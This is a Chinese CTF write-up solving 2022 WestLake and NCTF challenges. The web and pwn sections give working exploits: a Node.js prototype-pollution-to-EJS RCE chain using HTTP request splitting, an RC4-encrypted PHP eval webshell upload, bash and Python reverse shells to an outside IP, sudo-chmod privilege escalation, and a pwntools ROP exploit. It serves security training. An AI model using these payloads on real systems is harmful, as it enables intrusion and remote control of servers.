2022 WestLake CyberSecurity Conference partly WriteUp | To break new ground

Web

real_ez_node

拿到源码,发现 routes/index.js 里面使用了 safe-obj,应该是考察他的原型链污染漏洞,因为对对象进行操作的nodejs模块存在原型链污染漏洞的概率是非常大的。使用以下poc进行测试,发现确实存在原型链污染:

const safeobj = require('safe-obj');
var payload = `{"__proto__":{"whoami":"Vulnerable"}}`;
let user = {};
console.log("Before whoami: " + user.whoami);

for (let index in JSON.parse(payload)) {
    safeobj.expand(user, index, JSON.parse(payload)[index])
}
console.log("After whoami: " + user.whoami);

image-20230202165056134

但是题目过滤了 __proto__ 源码,一般情况下直接用 constructor 和 prototype 组合 {"constructor": {"prototype": {"whoami": "Vulnerable"}}} 就能绕过了,但是这里不行。跟进 safeobj.expand() 的源码一探究竟:

image-20230202165323983

发现如果键名里面存在 . 才会继续调用 _safe.expand,相当于递归merge的操作,那么我们可以用以下构造便能绕过 __proto__ 了:

{"constructor.prototype.whoami": "Vulnerable"}

此外,题目还是用了 ejs 模板引擎,那么我们很容易想到原型链污染+ejs构造RCE,但是触发原型链污染的/copy路由必须从127.0.0.1本地访问,需要进行ssrf:

image-20230202165640299

发现 /curl 路由可以发起http请求,可以触发ssrf:

image-20230202165726037

还有一点,/copy路由只能用post方法访问,从Dockerfile可以看到当前nodejs版本为8.1.2:

image-20230202165937321

该版本存在 Unicode 字符损坏造成的 HTTP 拆分攻击,之前出过很多这种题目了,可以直接看我写的博客:https://xz.aliyun.com/t/9707#toc-11

编写以下脚本构造payload:

payload = ''' HTTP/1.1

POST /copy HTTP/1.1
Host: 127.0.0.1:3000
Content-Length: 180
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Content-Type: application/json
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,ru;q=0.7,ja;q=0.6
Connection: close

{"constructor.prototype.outputFunctionName": "_tmp1;global.process.mainModule.require('child_process').exec('bash -c \\"bash -i >& /dev/tcp/47.117.125.220/2333 0>&1\\"');var __tmp2"}

GET / HTTP/1.1
test:'''.replace("\n","\r\n")

def payload_encode(raw):
    ret = u""
    for i in raw:
        ret += chr(0x0100+ord(i))
    return ret

payload = payload_encode(payload)
print(payload)
# 输出: ĠňŔŔŐįıĮıčĊčĊŐŏœŔĠįţůŰŹĠňŔŔŐįıĮıčĊňůųŴĺĠıIJķĮİĮİĮıĺijİİİčĊŃůŮŴťŮŴĭŌťŮŧŴŨĺĠıĸİčĊŃšţŨťĭŃůŮŴŲůŬĺĠŭšŸĭšŧťĽİčĊŕŰŧŲšŤťĭʼnŮųťţŵŲťĭŒťűŵťųŴųĺĠıčĊŃůŮŴťŮŴĭŔŹŰťĺĠšŰŰŬũţšŴũůŮįŪųůŮčĊŕųťŲĭŁŧťŮŴĺĠōůźũŬŬšįĵĮİĠĨŗũŮŤůŷųĠŎŔĠıİĮİĻĠŗũŮĶĴĻĠŸĶĴĩĠŁŰŰŬťŗťŢŋũŴįĵijķĮijĶĠĨŋňŔōŌĬĠŬũūťĠŇťţūůĩĠŃŨŲůŭťįıİĹĮİĮİĮİĠœšŦšŲũįĵijķĮijĶčĊŁţţťŰŴĺĠŴťŸŴįŨŴŭŬĬšŰŰŬũţšŴũůŮįŸŨŴŭŬīŸŭŬĬšŰŰŬũţšŴũůŮįŸŭŬĻűĽİĮĹĬũŭšŧťįšŶũŦĬũŭšŧťįŷťŢŰĬũŭšŧťįšŰŮŧĬĪįĪĻűĽİĮĸĬšŰŰŬũţšŴũůŮįųũŧŮťŤĭťŸţŨšŮŧťĻŶĽŢijĻűĽİĮĹčĊŁţţťŰŴĭŅŮţůŤũŮŧĺĠŧźũŰĬĠŤťŦŬšŴťčĊŁţţťŰŴĭŌšŮŧŵšŧťĺĠźŨĭŃŎĬźŨĻűĽİĮĹĬťŮĻűĽİĮĸĬŲŵĻűĽİĮķĬŪšĻűĽİĮĶčĊŃůŮŮťţŴũůŮĺĠţŬůųťčĊčĊŻĢţůŮųŴŲŵţŴůŲĮŰŲůŴůŴŹŰťĮůŵŴŰŵŴņŵŮţŴũůŮŎšŭťĢĺĠĢşŴŭŰıĻŧŬůŢšŬĮŰŲůţťųųĮŭšũŮōůŤŵŬťĮŲťűŵũŲťĨħţŨũŬŤşŰŲůţťųųħĩĮťŸťţĨħŢšųŨĠĭţĠŜĢŢšųŨĠĭũĠľĦĠįŤťŶįŴţŰįĴķĮııķĮıIJĵĮIJIJİįIJijijijĠİľĦıŜĢħĩĻŶšŲĠşşŴŭŰIJĢŽčĊčĊŇŅŔĠįĠňŔŔŐįıĮıčĊŴťųŴĺ

将生生成的payload进行url编码后发包:

image-20230202105741820

成功反弹shell并得到flag:

image-20230202105645424

扭转乾坤

一个java上传:

image-20230202123907702

上传,需要从RFC规范差异绕过waf,直接参考https://www.anquanke.com/post/id/241265 这篇文章钟大哥描述,在Content-Type里面加一个空格即可绕过(即 multipart/fo rm-data),如下图所示。当然,加双引号也是可以绕过的。

image-20230202124010209

请求成功之后直接就得到了 flag。

Node Magical Login

image-20230202134359393

直接将cookie设为 user=admin 就可以拿到 flag1:

image-20230202134830593

然后想办法拿到flag2:

image-20230202134512439

这里的判断存在缺陷,我们可以通过json传入一个长度为16的数组,让 checkcode = checkcode.toLowerCase() 报错,然后进入 catch 就能拿到flag:

POST: /getflag2
Body:{"checkcode":[null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null]}

image-20230202134911320

unusual php

直接读index.php发现乱码:

image-20230202162107451

应该是对php源码进行了加密。读取 /proc/self/maps 查看当前进程的内存映射关系,发现加载了一个名为zend_test的扩展,如下图所示。

/?a=read&file=/proc/self/maps

image-20230202162439024

通过php://filter加base64将zend_test.so读取出来:

/?a=read&file=php://filter/read=convert.base64-encode/woofers/resource=/usr/local/lib/php/extensions/no-debug-non-zts-20190902/zend_test.so

image-20230202162653031

然后用IDA逆向,发现 RC4_set_key 函数:

image-20230202162716228

寻找调用该函数的地方,发现my_compile_file函数调用了这个RC4_set_key 函数:

image-20230202162824124

反编译发现 RC4 密钥 abcsdfadfjiweur,见下图:

image-20230202162921835

目前可以知道,服务器上的php源码是经过RC4加密的,题目加载自定义zend_test.so扩展,对php源码解密后进行解析。

因此我们在上传webshell的时候需要对webshell进行RC4加密,然后上传。

从网上找个RC4加密脚本:https://blog.51cto.com/pythonywy/2838927 简单改改即可成功上传webshell:

import requests
from Crypto.Cipher import ARC4

def rc4_encrypt(data, key):
    key = bytes(key, encoding='utf-8')
    enc = ARC4.new(key)
    res = enc.encrypt(data.encode('utf-8'))
    return res

files = {'file': ('shell.php', rc4_encrypt("<?php eval($_POST[cmd]);?>", "abcsdfadfjiweur"), 'text/plain')}
res = requests.post(url='http://80.endpoint-eead2f3ac80e4ead9b3fccd9f665b816.m.ins.cloud.dasctf.com:81/?a=upload', files=files)
print(res.text)

然后反弹shell:

cmd=system("python3 -c \"import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('47.117.125.220',2333));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);\"");

根目录发现flag:

image-20230202161646926

直接读没有权限,需要提权,suid不行,尝试sudo提权:

sudo -l

image-20230202161832598

在gtfobins上搜到chmod的sudo提权方法:

image-20230202161926154

成功得到flag:

image-20230202162004884

Crypto

MyErrorLearn

不会造格子,看到随机数只有246位,想到用二元cop梭

两组rd消掉secret

因为是个随机数,所以有一定可能没有逆元,多搞几组数据,总能跑出来

import gmpy2
import itertools

def small_roots(f, bounds, m=1, d=None):
    if not d:
        d = f.degree()
        R = f.base_ring()
        N = R.cardinality()
        f /= f.coefficients().pop(0)
        f = f.change_ring(ZZ)

        G = Sequence([], f.parent())
        for i in range(m + 1):
            base = N ^ (m - i) * f ^ i
            for shifts in itertools.product(range(d), repeat=f.nvariables()):
                g = base * prod(map(power, f.variables(), shifts))
                G.append(g)

        B, monomials = G.coefficient_matrix()
        monomials = vector(monomials)

        factors = [monomial(*bounds) for monomial in monomials]
        for i, factor in enumerate(factors):
            B.rescale_col(i, factor)

        B = B.dense_matrix().LLL()

        B = B.change_ring(QQ)
        for i, factor in enumerate(factors):
            B.rescale_col(i, 1 / factor)

        H = Sequence([], f.parent().change_ring(QQ))
        for h in filter(None, B * monomials):
            H.append(h)
            I = H.ideal()
            if I.dimension() == -1:
                H.pop()
            elif I.dimension() == 0:
                roots = []
                for root in I.variety(ring=ZZ):
                    root = tuple(R(root[var]) for var in f.variables())
                    roots.append(root)
                    return roots
        return []
p = 25235191023234507111851456801584528206985042372267404671395031238130953062002356925024712987566004666222040105887691280375737186627897258541670845000341876132788858532732358145460508251021346995709254475670322359379637454607373466811177186085463653085496949031553289898489953299178676637862141836718530047773

r1 = 10544517294635945308817470415673953180771362098899599976968725399311297296771746063997656229842402301560388736537720072539280424639830877602651632407831551
d1 = 2782528780800419362659480974397004651422831281847745023224292163582634715423442801703341739873334730188828548753799159782529647181590717434501610505691395089780318863450133125982641536246649982688739268421835101997544552742224093729633871069390982382877002517870454671460305638156813116404018630273442795789
r2 = 10499691476661565229277475757146922660983129109495092615067985844065823389870815687394514169362044750353685361213441768156054347771612267920637103002028879
d2 = 3547744859224246950881898678283331489783118786682083992297673853987124277732975529747762299888847775026877369564156210168611385895832076443705943229153199445510086462041507723641534793223186305472220492817699838310227909445124212707082628331021332354893506157533573796617760071491467464095229951567625188503
def secret(p,r1,d1,r2,d2):
    PR.<t1,t2> = PolynomialRing(Zmod(p))
    f1 = d2+t2-(d2+t2)*(d1+t1)*r1
    f2 = d1+t1-(d2+t2)*(d1+t1)*r2
    f = f1-f2
    roots = small_roots(f, (2^246, 2^246), m=5)
    if roots:
        t1,t2 = roots[0]
        S = gmpy2.invert(int(d1+t1), p)-r1
        return int(S)
    else:
        return 'nonono'
print(secret(p,r1,d1,r2,d2))

把求出的secret递回去

image-20230202122542460

Misc

take_the_zip_easy

zip明文爆破的深入利用:已知文件名为dasflow.加上zip默认头504B0304,8+4=12,可以明文爆破

image-20230202122553625

image-20230202122542460

解压后是流量包

做过类似的,魔改的哥斯拉流量,套了一个gzdecode,das月赛书鱼的秘密,直接抄脚本:http://mon0dy.top/2022/04/11/2022DASCTF%20X%20SU%20%E4%B8%89%E6%9C%88%E6%98%A5%E5%AD%A3%E6%8C%91%E6%88%98%E8%B5%9B/#%E4%B9%A6%E9%B1%BC%E7%9A%84%E7%A7%98%E5%AF%86

image-20230202122701532

挨个解,找到

image-20230202122750249

先解响应包

<?php

function encode($D,$K){
    for($i=0;$i<strlen($D);$i++){
        $c = $K[$i+1&15];
        $D[$i] = $D[$i]^$c;
    }
    return $D;
}

$pass='air123';
$payloadName='payload';
$key='d8ea7326e6ec5916';
#前后去掉16个定位符
echo gzdecode(encode(base64_decode('J+5pNzMyNmU2ZjBlcX1/rfQu1mV7+X8pYbVLG/AefClpVTHi1zA2QeegNC45MTY='),$key));

image-20230202122819779

看到adding flag,确定zip的密码在这个包的请求里

解请求包:

<?php

function encode($D,$K){
    for($i=0;$i<strlen($D);$i++){
        $c = $K[$i+1&15];
        $D[$i] = $D[$i]^$c;
    }
    return $D;
}

$pass='air123';
$payloadName='payload';
$key='d8ea7326e6ec5916';
$data = 'J+5pNzMyNmU2mij7dMD/qHMAa1dTUh6rZrUuY2l7eDVot058H+AZShmyrB3w/OdLFa2oeH/jYdeYr09l6fxhLPMsLeAwg8MkGmC+Nbz1+kYvogF0EFH1p/KFEzIcNBVfDaa946G+ynGJob9hH1+WlZFwyP79y4/cvxxKNVw8xP1OZWE3';
$decode = encode(base64_decode($data),$key);
echo base64_encode(gzdecode($decode));

image-20230202122626139

得到flag.zip的密码

image-20230202122724425

在找到flag.zip

image-20230202133104326

解压flag.zip即可

mp3

mp3尾部有个图片,提出来,zsteg发现有个zip压缩包

image-20230202133618492

zip是损坏的,winrar修复一下,有密码

mp3stego空密码

image-20230202134006074

提取出zip的密码为8750d5109208213f,解压

image-20230202133420929

rot47

image-20230202133444078

控制台一跑

image-20230202133511033

签到题喵

图片底部有额外文字

image-20230202134205583

image-20230202134240840

image

Re

Dual personality

ida打开后需要先定义函数,然后去掉一些没用的跳转后可以反编译代码

image-20230202134309690

这里先进行了一次加密,dword的数据可以通过动调得到为0x5DF966AE

进入for循环的dword为0x3CA7259D,这样这一部分就可逆了

int __cdecl sub_401120(size_t Size, int a2)
{
  char *v2; // ebx
  char *retaddr; // [esp+D0h] [ebp+4h]

  dword_407050 = VirtualAlloc(0, Size + 6, 0x3000u, 0x40u);
  dword_407000 = (int)dword_407050;
  memcpy(dword_407050, retaddr, Size);
  v2 = (char *)dword_407050 + Size;
  *v2 = -23;
  *(_DWORD *)(v2 + 1) = &retaddr[Size] - v2 - 5;
  v2[5] = -52;
  *retaddr = -22;
  *(_DWORD *)(retaddr + 1) = a2;
  *(_WORD *)(retaddr + 5) = 51;
  return 0;
}

经过动调发现sub_401120函数会将这个地址后⾯的7个字节的地址改造成进⾏位数转化的jmp far

⽬标地址的指令,⽽新开空间保存的代码,他会跳转回原来返回地址+7的地方,跳过改造之后的代码

再往下看

image-20230202134309690

这里进行了一次异或,407014只有4位,这里就是按位跟加密后的数据进行异或

在动调中401120函数又对407014的值产生了影响

image-20230202134309690

经过计算值应该是4, 0x77, 0x82, 0x4a

image-20230202134309690

再就是dword位与qword位之间的转化了

下面写解密脚本

data = [0xAA,0x4F,0x0F,0xE2,0xE4,0x41,0x99,0x54,0x2C,0x2B,0x84,0x7E,0xBC,0x8F,0x8B,0x78,0xD3,0x73,0x88,0x5E,0xAE,0x47,0x85,0x70,0x31,0xB3,0x9,0xCE,0x13,0xF5,0xD,0xCA,0]
k = [4, 0x77, 0x82, 0x4a]
for i in range(len(data)):
    data[i] ^= k[i % 4]

data1 = []
for i in range(4):
    a = data[i * 8]
    a += data[i * 8 + 1] << 8
    a += data[i * 8 + 2] << 16
    a += data[i * 8 + 3] << 24
    a += data[i * 8 + 4] << 32
    a += data[i * 8 + 5] << 40
    a += data[i * 8 + 6] << 48
    a += data[i * 8 + 7] << 56
    data1.append(a)
#print(data1)
def fun1(e, m):
    return (e >> m) | ((e << (64 - m)) )
data1[0] = fun1(data1[0], 12)
data1[1] = fun1(data1[1], 34)
data1[2] = fun1(data1[2], 56)
data1[3] = fun1(data1[3], 14)
for i in range(4):
    data[i * 8] = data1[i] & 0xff
    data[i * 8 + 1] = (data1[i] >> 8) & 0xff
    data[i * 8 + 2] = (data1[i] >> 16) & 0xff
    data[i * 8 + 3] = (data1[i] >> 24) & 0xff
    data[i * 8 + 4] = (data1[i] >> 32) & 0xff
    data[i * 8 + 5] = (data1[i] >> 40) & 0xff
    data[i * 8 + 6] = (data1[i] >> 48) & 0xff
    data[i * 8 + 7] = (data1[i] >> 56) & 0xff
print(data)
data2 = []
for i in range(8):
    a = data[i * 4]
    a += data[i * 4 + 1] << 8
    a += data[i * 4 + 2] << 16
    a += data[i * 4 + 3] << 24
    data2.append(a)
print(data2)
#[1846184147, 2330059187, 209878574, 218208010, 168089402, 120629780, 140382767, 282460734]

exp:

data2=[1846184147,2330059187,209878574,218208010,168089402,120629780,140382767,282460734]
t=0x3CA7259D
flag=[0]*32
flag1=[0]*8
for i in range(8):
  flag1[i]=data2[i]-t
  flag[i * 4] = flag1[i] & 0xff
  flag[i * 4 + 1] = (flag1[i] >> 8) & 0xff
  flag[i * 4 + 2] = (flag1[i] >> 16) & 0xff
  flag[i * 4 + 3] = (flag1[i] >> 24) & 0xff
  t ^= data2[i]
print(bytes(flag))
#b'6cc1e44811647d38a15017e389b3f704'

PWN

DAS留言板

image-20230202134309690

一次格式化字符串+orw

#encoding = utf-8
import os
import sys
import time
from pwn import *
from ctypes import *
#from LibcSearcher import * 

context.os = 'linux'
context.arch = 'amd64'
context.log_level = "debug"

s       = lambda data               :p.send(str(data))
sa      = lambda delim,data         :p.sendafter(str(delim), str(data))
sl      = lambda data               :p.sendline(str(data))
sla     = lambda delim,data         :p.sendlineafter(str(delim), str(data))
r       = lambda num                :p.recv(num)
ru      = lambda delims, drop=True  :p.recvuntil(delims, drop)
itr     = lambda                    :p.interactive()
uu32    = lambda data               :u32(data.ljust(4,b'\x00'))
uu64    = lambda data               :u64(data.ljust(8,b'\x00'))
leak    = lambda name,addr          :log.success('{} = {:#x}'.format(name, addr))

#p = process('./pwn')#, env={"LD_PRELOAD":'./libc.so.6'})
p = remote('tcp.cloud.dasctf.com',24690)
elf = ELF('./pwn')
libc = ELF('./libc.so.6')

def debug():
    gdb.attach(p)
    pause()

sla('Welcome to DASCTF message board, please leave your name:\n','%p')
ru('Hello, 0x')
stack = int(r(12),16)+8
leak('stack',stack)

rdi = 0x0000000000401413
leave = 0x00000000004012e1
pl = p64(rdi) + p64(elf.got['puts']) + p64(elf.plt['puts']) + p64(0x0401150)
pl = pl.ljust(0xb0,b'a')
pl += p64(stack)+p64(leave)
#debug()
p.sendafter('Now, please say something to DASCTF:\n',pl)

ru('Posted Successfully~\n')
libcbase = uu64(r(6)) - libc.sym['puts']
leak('libcbase',libcbase)

#rdi = libcbase + 0x0000000000023b6a
rsi = libcbase + 0x000000000002601f
rdx = libcbase + 0x0000000000142c92
opent = libcbase + libc.sym['open']
read = libcbase + libc.sym['read']
puts = libcbase + libc.sym['puts']
pl = b'./flag\x00\x00' + p64(rdi) + p64(stack-0x178) + p64(rsi) + p64(0) + p64(rdx) + p64(0) + p64(opent)
pl += p64(rdi) + p64(3) + p64(rsi) + p64(0x0404180) + p64(rdx) + p64(0x30) + p64(read)
pl += p64(rdi) + p64(0x0404180) + p64(puts) + p64(0x0401150)
pl = pl.ljust(0xb0,b'a')
pl += p64(stack-0x178)+p64(leave)
#debug()
p.sendafter('Now, please say something to DASCTF:\n',pl)

itr()

感觉给的libc不太对,用2.31ubuntu9.7的打通了

2022 NCTF Partly WriteUp | The Last Dance in this year

REVERSE

Cyberpunk

a=open("/ata0a/flag",7)
tmpHeap=malloc(0x100)
read(5,tmpHeap,0x100)
xor(tmpHeap,81)
d tmpHeap

Ccccha

#include <stdio.h>
#include <stdlib.h>

int main() {
        unsigned long long fuck[] = { 0x24aa2514342efc10 ,0x57b9d9d0924bd6aa ,0x668a271f44325f8f ,0x1900ecaca269bcb6 ,0x774ec7717c3840df ,0xd878e3846e0ebb32 };
        uint8_t fuckres[42];
        for (int i = 0; i < 42; i++)
        {
                fuckres[i] = *(((char*)fuck) + i);
        }
        unsigned long long fuck2[] = { 0x23ce4b73757cc05e ,0x708f01f3ac89bba4 ,0x62d45b4183317fc8 ,0x4b50fc9ddc27a7a6 ,0x385117386b2f9806 ,0xef2f };
        unsigned char flag[42];
        for (int i = 0; i < 42; i++)
        {
                flag[i] = *(((char*)fuck2) + i)-i;
                flag[i] ^= fuckres[i];
                printf("%c", flag[i]);
        }
}

ez_rev

四个字节一组进行运算,最后手推出来两个一模一样的二元一次方程

z3求解

from z3 import *

result = [
  0x7A, 0x08, 0x2E, 0xBA, 0xAD, 0xAF, 0x82, 0x8C, 0xEF, 0xD8, 
  0x0D, 0xF8, 0x99, 0xEB, 0x2A, 0x16,
  0x05, 0x43, 0x9F, 0xC8, 0x6D, 0x0A, 0x7F, 0xBE, 0x76, 0x64, 
  0x2F, 0xA9, 0xAC, 0xF2, 0xC9, 0x47,
  0x75, 0x75, 0xB5, 0x33
]

for i in range(0, len(result), 2):
    x=BitVec('x', 8)
    y = BitVec('y', 8)
    s=Solver()
    s.add(x * 0x7e + y * 0x19 == result[i])
    s.add(x * 0x1f + y * 0x75 == result[i + 1])
    print(s.check())
    print((s.model()))

flag = [102, 54, 100, 102, 102, 97, 98, 54, 45, 49, 55, 51, 102, 45, 52, 98, 98, 49, 45, 97, 57, 55, 51, 45, 54, 50, 102, 51, 102, 56, 50, 53, 52, 101, 98, 97]
s = ""
for i in flag:
    s += chr(i)
    print(s)

#NCTF{f6dffab6-173f-4bb1-a973-62f3f8254eba}

just run it

逆推出映射转化关系,写出逆转换函数,将正确的box逆转换,再和box2 异或,再逆转换既可得到正确的key

def decode(a):
    s=a.copy()
    s[0]=a[0]
    s[1]=a[1]
    s[2]=a[4]
    s[3]=a[8]
    s[4]=a[5]
    s[5]=a[2]
    s[6]=a[3]
    s[7]=a[6]
    s[8]=a[9]
    s[9]=a[12]
    s[10]=a[13]
    s[11]=a[10]
    s[12]=a[7]
    s[13]=a[11]
    s[14]=a[14]
    s[15]=a[15]
    return s
out2=[17, 77, 146, 218, 172, 11, 98, 247, 84, 81, 39, 90, 114, 98, 123, 118]
xor_box=[70, 124, 193, 49, 103, 162, 180, 13, 50, 17, 80, 21, 131, 60, 20, 87]
out1=decode(out2)
for i in range(len(out1)):
    out1[i]^=xor_box[i]
key=decode(out1)
for i in key:
    print(chr(i),end='')

得到争取的key W1lc0menctf2o2o!

动调推出下面为SM4

box=bytes([77, 147, 190, 22, 46, 222, 51, 116, 218, 83, 246, 138, 67, 99, 98, 132, 213, 246, 42, 195, 208, 165, 4, 45, 3, 104, 46, 18, 148, 36, 51, 16, 249, 246, 91, 97, 92, 22, 93, 222, 144, 134, 191, 223, 61, 11, 205, 59])
key = b'W1lc0menctf2o2o!'

其中最后sm4解密我用的是在线解密

ps:因为gmssl.sm4库坑死我了,填充方式应该为无填充,可它加个未知的填充坑了我好久

Crypto

signin

  1. MTP攻击后校正
  2. 通过异或获得完整信息
"""
p11 ^ tmp11
p12 ^ tmp12
"""

import Crypto.Util.strxor as xo
import codecs, numpy as np
import hashlib

def isChr(x):
    if ord('a') <= x and x <= ord('z'): return True
    if ord('A') <= x and x <= ord('Z'): return True
    return False

def attack(cipher):
    dat = []

    def getSpace(c):
        for index, x in enumerate(c):
            res = [xo.strxor(x, y) for y in c if x!=y]
            f = lambda pos: len(list(filter(isChr, [s[pos] for s in res])))
            cnt = [f(pos) for pos in range(len(x))]
            for pos in range(len(x)):
                dat.append((f(pos), index, pos))

    def infer(index, pos):
        if msg[index, pos] != 0:
            return
        msg[index, pos] = ord(' ')
        for x in range(len(c)):
            if x != index:
                msg[x][pos] = xo.strxor(c[x], c[index])[pos] ^ ord(' ')

    c = [codecs.decode(x.strip().encode(), 'hex') for x in cipher]
    # print(c)

    msg = np.zeros([len(c), len(c[0])], dtype=int)

    getSpace(c)

    dat = sorted(dat)[::-1]
    for w, index, pos in dat:
        infer(index, pos)

    return [''.join([chr(c) for c in x]) for x in msg]

cipher = '19c51488dda8c5a43b77d3eba6cc534c3b7ef72c944d1341c0af66885c9bc32d2cc614db92bc91b6226c90e6e3ca5e5e3278ee2cd56c216cc9ee2b94419080283fc21fc7c7ae91a73a7196ecae8954472a75f97e92221c77c9e86e895d8c823428de51c3d7a4c2a03c6692e0e3cb5b413976ef209c753d6a8ae72b864a9bc33425c81f88ea92e3b12a2384e4b7c1175a3278bc7cd0633c6d9dea7393189c8f2f2ec60288c6b291b32b77d3f9abcc174d336df469ce76307b9da12bad4d8d97602cde51dfdba9d9f421779be8b189445a2878fd619c613c7381ea799414de852c24dd01c1dcba91b56e619af9e3c0590e2e75f92cdf6b256b8cfd7f82408ac3303fc215ddd1b8c2f42f2395e1aad9474b3e3dfe65c8223c6dc9fb6382188e8f2124c305cdcaa991b53a2387e5a689444f3778bc60d361347780e065c918aa8b293e8d01daddadd4a63a7ad3ecafc55859293df16dd27b75669bfd6495159d8c323fc812dcdbb3d6f42d6c97e8b08943417a7be962df763c6c87af65884a93822c21d451cdc4b8dff4396b96e3e3c8475e3674f9689c60306586fd6ec75d90803234dd05c1ddb39f'
c1 = [cipher[2*i*32:(2*i+1)*32] for i in range((len(cipher) // 32)//2)]

a1 = attack(c1)

c2 = [cipher[(2*i+1)*32:(2*i+2)*32] for i in range((len(cipher) // 32)//2)]
a2 = attack(c2)
print(a1)
print(a2)
for i in range(len(a2)):
    print(a1[i],end='')
    print(a2[i], end='')

m11 = b'The output feedb'
m12 = b'ack (OFB) mode m'

def sxor(b1, b2):
    ans = []
    for each in range(len(b1)):
        ans.append(b1[each] ^ b2[each])
    return bytes(ans)

tmp11 = sxor(b''.fromhex(c1[0]), m11)
tmp12 = sxor(b''.fromhex(c2[0]), m12)

print()
print()
msg = ''
C = [cipher[i*32:(i+1)*32] for i in range(len(cipher)//32)]+[cipher[-(len(cipher) % 32):]]
for i in range(len(C)):
    if i % 2 == 0:
        key = tmp11
    else:
        key = tmp12
    c = b''.fromhex(C[i])
    len1 = len(c)
    if len1 != 16:
        key = key[:len1]
    msg += sxor(key, c).decode()

print(msg)
m = hashlib.md5()
m.update(msg.encode())
print(m.hexdigest())
# The output feedback (OFB) mode makes a block cipher into a synchronous stream cipher. It generates keystream blocks, which are then XORed with the plaintext blocks to get the ciphertext. Just as with other stream ciphers, flipping a bit in the ciphertext produces a flipped bit in the plaintext at the same location. This property allows many error-correcting codes to function normally even when applied before encryption.
# 544c25a09043b994bcc00ecda3d05b4e
# NCTF{4_FUNNY_CrYP70_516N1N}

Coloratura

  • 随机数回溯恢复SourceImg(不足补零)
  • 异或得到flag
import sys

from Crypto.Util.number import *
from PIL import Image, ImageDraw
from random import getrandbits
width = 208
height = 208
img3 = Image.open('/Users/0HB/Desktop/复现/NCTF2022/Coloratura/attach.png')
s = []
# # img2 = makeFlagImg()
# # img2.save('1203.png')
# img3 = Image.new("RGB", (width, height))
for i in range(height):
    for j in range(width):
        tmp = list(img3.getpixel((j, i)))
        tmp = [int(tmp[k] ^ 0) for k in range(3)]  # 异或0
        s += tmp

s = bytes(s)
s = [s[i*4:(i+1)*4] for i in range(len(s)//4)]

from extend_mt19937_predictor import ExtendMT19937Predictor
predictor = ExtendMT19937Predictor()
for _ in range(-624,0):
    predictor.setrandbits(bytes_to_long(s[_][::-1]), 32)

_ = [predictor.backtrack_getrandbits(32) for _ in range(624)]  # 回溯到起始状态

ans = b''.join(s[-624:])

for i in range((129792 // 4)-624):
    tmp = predictor.backtrack_getrandbits(32)
    tmp = long_to_bytes(tmp)[::-1]
    tmp = list(tmp)
    if len(tmp) != 4:
        tmp = [0] + tmp
        # sys.exit()
    ans = bytes(tmp) + ans
def makeSourceImg():
    colors = ans
    img = Image.new('RGB', (width, height))
    x = 0
    for i in range(height):
        for j in range(width):
            img.putpixel((j, i), (colors[x], colors[x + 1], colors[x + 2]))
            x += 3
    return img

img1 = makeSourceImg()
# img2 = makeFlagImg()
img2 = Image.open('/Users/0HB/Desktop/复现/NCTF2022/Coloratura/attach.png')
img3 = Image.new("RGB", (width, height))
for i in range(height):
    for j in range(width):
        p1, p2 = img1.getpixel((j, i)), img2.getpixel((j, i))
        img3.putpixel((j, i), tuple([(p1[k] ^ p2[k]) for k in range(3)]))
img3.save('/Users/0HB/Desktop/复现/NCTF2022/Coloratura/flag.png')
# nctf{Coloratura_Coldplay}

dp_promax

dp_promax _revenge里有提示,factordb上可查,哈人

import gmpy2, libnum

n= 46460689902575048279161539093139053273250982188789759171230908555090160106327807756487900897740490796014969642060056990508471087779067462081114448719679327369541067729981885255300592872671988346475325995092962738965896736368697583900712284371907712064418651214952734758901159623911897535752629528660173915950061002261166886570439532126725549551049553283657572371862952889353720425849620358298698866457175871272471601283362171894621323579951733131854384743239593412466073072503584984921309839753877025782543099455341475959367025872013881148312157566181277676442222870964055594445667126205022956832633966895316347447629237589431514145252979687902346011013570026217
e = 13434798417717858802026218632686207646223656240227697459980291922185309256011429515560448846041054116798365376951158576013804627995117567639828607945684892331883636455939205318959165789619155365126516341843169010302438723082730550475978469762351865223932725867052322338651961040599801535197295746795446117201188049551816781609022917473182830824520936213586449114671331226615141179790307404380127774877066477999810164841181390305630968947277581725499758683351449811465832169178971151480364901867866015038054230812376656325631746825977860786943183283933736859324046135782895247486993035483349299820810262347942996232311978102312075736176752844163698997988956692449
c = 28467178002707221164289324881980114394388495952610702835708089048786417144811911352052409078910656133947993308408503719003695295117416819193221069292199686731316826935595732683131084358071773123683334547655644422131844255145301597465782740484383872480344422108506521999023734887311848231938878644071391794681783746739256810803148574808119264335234153882563855891931676015967053672390419297049063566989773843180697022505093259968691066079705679011419363983756691565059184987670900243038196495478822756959846024573175127669523145115742132400975058579601219402887597108650628746511582873363307517512442800070071452415355053077719833249765357356701902679805027579294
p = 3628978044425516256252147348112819551863749940058657194357489608704171827031473111609089635738827298682760802716155197142949509565102167059366421892847010862457650295837231017990389942425249509044223464186611269388650172307612888367710149054996350799445205007925937223059
q = n//p
d = int(gmpy2.invert(e, (p-1)*(q-1)))
m = int(pow(c,d,n))
print(libnum.n2s(m))
# nctf{Th1s_N_May_n0t_s0@o0@@_secur3}

misc

只因因

使用提及的blast工具,可以找到基因为"CFTR",然后md5加密即可。

http://www.ncbi.nlm.nih.gov/BLAST/

image

Signin

炉边聚会

网上找的学习链接:

大神_游戏热爱者兴趣圈_游戏社区

炉石卡组代码解析

里面有现成的脚本,拼接起来,替换掉strings输出即可。

<?php
$deckstring = "strings";
#这是一个非常有趣的萨满卡组
$binary = base64_decode($deckstring);
$hex = bin2hex($binary);
#对于这个卡组,$hex="00010101fd06000fce069707cc08e20cff0fc814e616b6ac02aeb002a5be02f8bf02f9bf02a2cd02f8d002a6ef0200"
$arr = str_split($hex, 2);
$arr = array_map("hexdec", $arr);
function read_varint(&$data) {
    $shift = 0;
    $result = 0;
    do {
        $c = array_shift($data);
        $result |= ($c & 0x7f) << $shift;
        $shift += 7;
    }
    while ($c & 0x80);
    return $result;
}
